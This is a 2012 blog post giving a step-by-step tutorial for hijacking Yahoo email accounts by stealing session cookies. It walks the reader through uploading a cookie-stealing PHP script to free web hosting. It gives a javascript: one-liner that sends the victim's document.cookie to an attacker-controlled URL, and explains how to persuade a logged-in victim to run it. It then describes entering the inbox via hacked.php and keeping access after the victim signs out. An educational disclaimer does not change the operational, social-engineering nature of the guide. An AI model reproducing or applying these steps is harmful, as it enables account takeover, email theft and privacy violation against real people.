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Wednesday, 29 August 2012

Hack Yahoo Accounts using Session Cookies

Hey Friends,

One of my Friend thought this Trick to hack into any Yahoo Account using Session Cookies or Session ID's

So What is Session Cookies or Session ID's?

Describing it in Simple Language., These Session cookies are nothing but a unique piece of String generated when one Sign in to his Account. One of the Copy of this Cookiesis Stored in the Website Database Server and other copy in our Browser as Cookie. Both are matched every time whenever we do anything in our account. This piece of string or login session is simply destroyed when we click on the 'Sign Out' option.

Note: when I mention Stealing Session or Stealing Cookies Both means the Same., Sessions are stored in our browser in form of cookies.

What Actually happens is An Attacker convinces the Victim to Run a Piece of Code in his Browser. Attacker uses this Stolen Session into use without the need of Entering any Username/password.,

This method is uncommon because once the Victim Clicks on "Sign Out" button., The Cookies are Automatically Destroyed and the Attacker obviously gets Signed out from  the Victim's Account.

But in case of yahoo, its not the same.The attacker doesnt get signed out when victim clicks 'Sign out'.
This is the Big Advantage for many hackers to hack into Other's account.Though the session automatically gets destroyed after 24hrs by yahoo. But when user simply refreshes the windows in yahoo account, he gets sessions for next 24 hrs. This means, once the yahoo account session is stolen , attacker can access the account for life time by refreshing window in every 24hrs. I am not actually sure whether its 24 or 48 hrs.


NOTE:I or the staff of madlygeek's will not take any responsibility if you use this tutorial in unethical way. This is written to help you to beware of whats going around, and save your self by not being hacked!

Tutorials:

#1. Download the Files from here
CLICK HERE TO DOWNLOAD

#2.Sign up to any Free Web Hosting. In this tutorial i will be using my3gb.com, 

#3. Login to your account and go to file manager. Upload the four files that you have just downloaded. Make a new directory 'cookies' here.

3. Give this code to victim to run in his browser when he would be logged in to his yahoo account. Yahoo.php is basically cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory 'cookies'

javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie));
*In this Blue Colored line"http://yourdomain.com/yahoo.php"., enter the link of the yahoo.php file that you have uploaded.
He would again be redirected to his yahoo account.


4. Open the hacked.php . The password is "madlygeek"





You must have got the username of victim's account. Simply Click on it and it would take you to inbox of victim's yahoo account without asking for any password.






Now it doesn't matter if victim signs out from his account, you would remain logged into it.

Note: You can try this attack by using two browsers. Sign into yahoo account in one browser and run the code. Then sign in through other browser using stolen session.


If you have any Queries, Leave your Comment below., I will help you ASAP :)

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Author:
karthickeyan
karthic@madlygeek.in

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